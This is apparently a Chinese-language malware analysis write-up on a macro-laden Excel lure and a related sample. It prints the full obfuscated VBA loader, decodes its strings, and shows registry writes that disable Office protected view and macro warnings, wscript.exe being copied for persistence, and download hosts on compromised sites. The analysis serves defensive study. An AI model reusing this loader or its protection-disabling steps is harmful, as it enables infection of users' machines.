0x00 前言

0x01 基本信息

样本上传vt时间为2020-1-19,样本名称为KTB-TR.xls
image.png

样本名称中所用到的疑似为日本的健身俱乐部
image.png

样本打开后内容如下,冒充微软提示用户启用宏
image.png

宏代码结构如下:
image.png

代码会从名为F的窗体中读取数据
完整宏代码经过与优化后如下:

  1. Public ajkr As Object
  2. Function xekkdrvqds() As String
  3. On Error GoTo hfmzp
  4. Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(1), )
  5. jpgdd = CallByName(pnhbx, yoopegezdw(2), VbGet)
  6. jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(4), VbGet)
  7. jpgdd = jpgdd & yoopegezdw(3) & CallByName(pnhbx, yoopegezdw(6), VbGet)
  8. jpgdd = jpgdd & yoopegezdw(3) & CallByName(Application, yoopegezdw(8), VbGet)
  9. xekkdrvqds = jpgdd
  10. Exit Function
  11. hfmzp
  12. MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
  13. End Function
  14. Function kcqsgnodsj()
  15. On Error GoTo zkshd
  16. Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(12), )
  17. jpgdd = yoopegezdw(13)
  18. hfmzp = yoopegezdw(14) & CallByName(Application, yoopegezdw(15), VbGet) & yoopegezdw(16)
  19. CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(18), 1, jpgdd
  20. CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(20), 1, jpgdd
  21. CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(22), 1, jpgdd
  22. CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(24), 1, jpgdd
  23. CallByName pnhbx, yoopegezdw(17), VbMethod, hfmzp & yoopegezdw(26), 1, jpgdd
  24. Set dqtbl = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(28), )
  25. If Len(Environ(yoopegezdw(29))) 0 Then
  26. CallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(31), yoopegezdw(32)
  27. Else
  28. CallByName dqtbl, yoopegezdw(30), VbMethod, yoopegezdw(34), yoopegezdw(32)
  29. End If
  30. CallByName pnhbx, yoopegezdw(17), VbMethod, yoopegezdw(37), yoopegezdw(38) & yoopegezdw(39), yoopegezdw(40)
  31. Open yoopegezdw(39) For Output As #1
  32. Print #1, zvmyittedp(CallByName(F, yoopegezdw(42), VbGet))
  33. Close #1
  34. Exit Function
  35. zkshd
  36. MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
  37. End Function
  38. Function zvmyittedp(aaeov As String) As String
  39. On Error GoTo pnhbx
  40. jpgdd = T.Text & ThisWorkbook.Name
  41. hfmzp =
  42. dqtbl = 0
  43. For zkshd = 1 To Len(aaeov) Step 4
  44. ppwrz = Asc(Mid(jpgdd, (dqtbl Mod Len(jpgdd) + 1), 1))
  45. xqony = Mid(aaeov, 1, 4)
  46. xqony = xqony - ppwrz
  47. aaeov = Right(aaeov, Len(aaeov) - 4)
  48. dqtbl = dqtbl + 1
  49. hfmzp = hfmzp + Strings.Chr(xqony)
  50. Next zkshd
  51. zvmyittedp = hfmzp
  52. Exit Function
  53. pnhbx
  54. MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
  55. End Function
  56. Function zvwcniwjoz()
  57. On Error GoTo jpgdd
  58. Dim hfmzp As String
  59. hfmzp = yoopegezdw(47)
  60. Set ajkr = CreateObject(hfmzp)
  61. kcqsgnodsj
  62. Dim pnhbx As Object
  63. Set pnhbx = CallByName(ajkr, yoopegezdw(0), VbMethod, yoopegezdw(49), )
  64. CallByName pnhbx, yoopegezdw(50), VbMethod, yoopegezdw(51), yoopegezdw(52) & xekkdrvqds, False
  65. CallByName pnhbx, yoopegezdw(53), VbMethod,
  66. CallByName pnhbx, yoopegezdw(54), VbMethod
  67. Exit Function
  68. jpgdd
  69. MsgBox yoopegezdw(9), vbCritical, yoopegezdw(10)
  70. End Function
  71. Function yoopegezdw(pnhbx) As String
  72. jpgdd = Split(F.L, .)
  73. Dim hfmzp As String
  74. hfmzp = jpgdd(pnhbx)
  75. yoopegezdw = zvmyittedp(hfmzp)
  76. End Function

程序最开始会通过Split函数将窗体F中F控件中的内容以.分割开
image.png

分割之后一共得到57个字符串:
image.png

第一次运行的时候会通过zvmyittedp函数解密索引为47的字符串:
image.png

解密算法如下:
image.png

解密得到RDS.DataSpace
image.png

经过查询,RDS.DataSpace可能与IE的一个漏洞相关
image.png

目前还不能确定,接着往下看,程序会创建RDS.DataSpace对象,接着调用kcqsgnodsj函数
image.png

kcqsgnodsj函数内容如下
image.png

在kcgsgnodsj函数中,程序首先会通过CallByName函数来执行对象方法,关键参数为之前读取到的窗体中索引为0和12的值,分别是CreateObject和WScript.Shell
image.png

通过CallByName修改注册表
image.png

几个参数的值分别为

yoopegezdw(13) “REG_DWORD”
yoopegezdw(14) “HKCU\Software\Microsoft\Office\“
yoopegezdw(15) “Version”
yoopegezdw(16) “\Excel\Security\“

接着会通过CallByName继续执行五个对象方法,主要参数分别是索引为18 20 22 24 26 的内容,且根据这里jpgdd的内容(REG_DWORD) 基本可以知道这五个CallByName都是注册表相关的操作
image.png

解密之后,参数的值分别如下:

yoopegezdw(17) “RegWrite”
yoopegezdw(18) “ProtectedView\DisableInternetFilesIndx”
yoopegezdw(20) “ProtectedView\DisableAttachmentsInPV”
yoopegezdw(22) “ProtectedView\DisableUnsafeLocations]?-P”
yoopegezdw(24) “AccessVBOM”
yoopegezdw(26) “VBAWarnings”

通过对这些注册表键值的分析我们得知,这几个函数用于解除office保护,宏保护等。

CallByName调用yoopegezdw(28)
image.png

我们之前已经分析过,yoopegezdw(0)的值是”CreateObject”
通过调试,yoopegezdw(28)的值为”Scripting.FileSystemObject”
说明这里会创建一个文件对象,保存到dptbl,通常来说,文件对象的创建可以用于获取本地主机的一些关键路径。

然后判断索引为29的值,判断之后利用刚才保存的dptbl对象进行新的调用
image.png

yoopegezdw(29) “ProgramW6432”
yoopegezdw(30)
“CopyFile”
yoopegezdw(31) “c:\Windows\SysWOW64\wscript.exe”
yoopegezdw(32) “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvc”

通过分析可以得知,程序是尝试将wscript文件拷贝到指定目录,如果拷贝出错则会给出如下提示
image.png

同时,如果索引29的值判断失败,还有两个else分支可以执行
image.png

执行的分支所用到的新参数如下

yoopegezdw(34) “c:\windows\system32\wscript.exe”
yoopegezdw(37) “HKCU\Software\Microsoft\Windows\Curry?QP??l??€ZPG=_Ru82?Pt??v5C?ii?zt”
yoopegezdw(38) “C:\Windows\System32\spool\drivers\co€?OV~?e?hwvcH7x9>S”
yoopegezdw(39) “C:\Windows\System32\spool\drivers\co€?OV??`??zru6pjr”
yoopegezdw(40) “REG_SZ”

这里代码基本分析完成了,我们可以尝试根据vbs的解密算法,使用python实现一个并对之前的字符串进行解密:
image.png

解密出的字符串如下:
image.png

可以看到最后面有个请求地址http://advanceorthocenter.com
image.png

该地址的主域名看样子是一个正常的医疗博客,看样子是被攻击者拿了shell并作为攻击的payload加载服务器。
image.png

看样子此次捕获的样本并不能在中文操作系统上运行(编码不同的原因)
回家了看看能不能扫一下这个站点,发现点其他东西。

0x02 关联样本

经过追溯,发现一个关联样本,文件hash为46f911014f1202e17936f627f34e6165
该样本与19年9月被首次提交,最后提交时间为19年11月底
image.png

样本内容如下,依旧是伪造office官方诱导用启用宏
image.png

同之前的样本,该样本有62个待解密的字符串,解密算法有轻微变化。
image.png

直接修改vbs代码遍历解密写入到文件
image.png

可以看到解密的内容和之前也是几乎相同
这里请求的域名依旧是一个wp站点
https://www.ksahosting.net/wp-includqs/r?Nvbv? c=???
image.png